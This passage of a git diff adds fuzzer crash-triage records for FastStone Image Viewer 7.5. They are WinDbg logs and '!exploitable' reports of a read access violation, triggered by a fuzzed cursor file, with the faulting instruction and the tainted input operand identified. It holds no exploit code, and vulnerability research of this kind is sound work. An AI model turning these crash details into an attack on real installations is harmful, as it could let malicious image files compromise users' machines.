00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(ef4.14cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f50002 ebx=00000e0b ecx=07f28180 edx=000005df esi=12833820 edi=0daa0fd4 +eip=005bdfc9 esp=14f4f81c ebp=14f4fcc4 iopl=0 nv up ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.494396998968347920000e+0017 st5= 8.494398716955266560000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.438299200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f4fcc4 0060d6fc 00000000 14f4fd2c 14f4fcfc image00000000_00400000+0x1bdfc9 +14f4fd3c 005ff50b 14f4fd50 005ff787 14f4fdc0 image00000000_00400000+0x20d6fc +14f4fdc0 005ff1de 14f4fde8 005ff1f9 14f4fde0 image00000000_00400000+0x1ff50b +14f4fde0 0090e1e5 14f4fdf4 0090e1ef 14f4fe38 image00000000_00400000+0x1ff1de +14f4fe38 0090efea 14f4fea4 14f4fea8 14f4feac image00000000_00400000+0x50e1e5 +14f4fec0 008d05d5 14f4fed4 008d06ab 14f4ff00 image00000000_00400000+0x50efea +14f4ff00 008d0991 14f4ff14 008d0a43 14f4ff2c image00000000_00400000+0x4d05d5 +14f4ff2c 0042c0bf 14f4ff40 0042c0c9 14f4ff5c image00000000_00400000+0x4d0991 +14f4ff5c 00404c22 14f4ffcc 0040475c 14f4ff70 image00000000_00400000+0x2c0bf +14f4ff70 7572f989 0802bec0 7572f970 14f4ffdc image00000000_00400000+0x4c22 +14f4ff80 770b7084 0802bec0 bd94aef0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f4ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f4ffec 00000000 00404bf8 0802bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f50002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x7e49371f +STACK_DEPTH:13 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x50e1e5 +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x7e49371f) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..063a009 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/13605/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..63989c5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000015090002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f04e404 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d3bc93b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,196 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6A0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e70000 00000000`13f4e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(6a0.17b0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=15090002 ebx=00000e0b ecx=07f48180 edx=000005df esi=128318d0 edi=0da8afd4 +eip=005bdfc9 esp=1508f81c ebp=1508fcc4 iopl=0 nv up ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 8.488770935407972080000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:15090002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +1508fcc4 0060d6fc 00000000 1508fd2c 1508fcfc image00000000_00400000+0x1bdfc9 +1508fd3c 005ff50b 1508fd50 005ff787 1508fdc0 image00000000_00400000+0x20d6fc +1508fdc0 005ff1de 1508fde8 005ff1f9 1508fde0 image00000000_00400000+0x1ff50b +1508fde0 0090e1e5 1508fdf4 0090e1ef 1508fe38 image00000000_00400000+0x1ff1de +1508fe38 0090efea 1508fea4 1508fea8 1508feac image00000000_00400000+0x50e1e5 +1508fec0 008d05d5 1508fed4 008d06ab 1508ff00 image00000000_00400000+0x50efea +1508ff00 008d0991 1508ff14 008d0a43 1508ff2c image00000000_00400000+0x4d05d5 +1508ff2c 0042c0bf 1508ff40 0042c0c9 1508ff5c image00000000_00400000+0x4d0991 +1508ff5c 00404c22 1508ffcc 0040475c 1508ff70 image00000000_00400000+0x2c0bf +1508ff70 7572f989 0804bec0 7572f970 1508ffdc image00000000_00400000+0x4c22 +1508ff80 770b7084 0804bec0 c90434ed 00000000 KERNEL32!BaseThreadInitThunk+0x19 +1508ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +1508ffec 00000000 00404bf8 0804bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x15090002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x7e49371f +STACK_DEPTH:13 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x50e1e5 +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x7e49371f) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d3bc93b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x7e49371f/49386/WindowsDebugEngine_description.txt @@ -0,0 +1,196 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6A0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 